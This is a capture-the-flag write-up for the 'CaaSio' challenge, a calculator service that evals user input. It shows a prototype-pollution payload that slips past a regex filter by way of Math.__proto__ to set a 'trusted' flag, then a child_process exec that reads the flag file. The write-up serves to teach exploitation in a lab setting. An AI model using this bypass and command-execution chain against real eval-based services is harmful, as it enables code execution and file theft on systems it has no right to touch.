Tags: misc 

Rating:

For CaaSio we had access to a calculator.
Later in the execution our query is `eval`'d so obviously we need to run something interesting there.

There are a lot of details involved so I'll start with the basic ones.

```js
if (name.length > 10) {
console.log("Your name is too long, I can't remember that!");
return;
}
user.name = name;
if (user.name == "such_a_trusted_user_wow") {
user.trusted = true;
}
```

The code above stops us from inputing a name bigger than 10 characters,
so no way you'll get your `such_a_trusted_user_wow`.

```js
while (user.queries < 3)
```

This stops us from making more than 3 queries, but we'll only need two!

```js
if (prompt.length > 200) {
console.log("That's way too long for me!");
continue;
}
```

To finish the boring stuff, we cannot send a command with more than 200 characters.
Still, no problem.

Let's get to the interesting stuff.

```js
let reg = /(?:Math(?:(?:\.\w+)|\b))|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)/g
// ......
if (!user.trusted) {
prompt = (prompt.match(reg) || []).join``;
}
```

Given we are not trusted, queries we send are filtered by `reg`.
Effectively stopping most possible attempts.

```js
Object.freeze(global);
Object.freeze(Math);
```

This stops us from modifying `Math`, however it is only a shallow freeze.
This means that members of `Math` are not frozen, we will be taking advantage of that to get our trusted execution going!

So, starting with the regex, we can write `Math.any_kind_of_text`,
including `Math.__proto__`.
While `__proto__` cannot be reassigned, we can extend it,
however we cannot write `Math.__proto__.obj`, as `obj` will be cut out.

Entering lambdas!
We can write `()=>` and while this does not make a multi line lambda, it allows us to make one action at a time.
Enabling composition!

We have our ingredients together!
First we need to get trusted.

```js
((Math)=>(Math.trusted=1))(((Math)=>(Math.__proto__))(Math))
```

You may be confused, in normal JS the code above looks like:

```js
function (Math) {
Math.trusted = 1;
}(
function (Math) {
return Math.__proto__;
}(Math)
);
```

Which in turn looks more like:

```js
function f(x) {
return x.__proto__
}

function g(x) {
return x.trusted = 1;
}

g(f(Math));
```

Why does this give us a trusted user?

`Math` inherits from `Object`, see [here](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math),
which means that when we mutate `Math.__proto__` we are mutating `Object.__proto__`, thus mutating every object,
hence why `user.trusted` will be set to `1`.

So now we just need to read the file.

```js
const { exec } = require("child_process");

exec("cat /ctf/flag.txt", (error, stdout, stderr) => {
console.log(`stdout: ${stdout}`);
});
```

Running the code above, minified, will yield the flag.

```
actf{pr0t0typ3s_4re_4_bl3ss1ng_4nd_4_curs3}
```

Original writeup (https://jmg-duarte.github.io/posts/ctfs/angstrom/caasio/).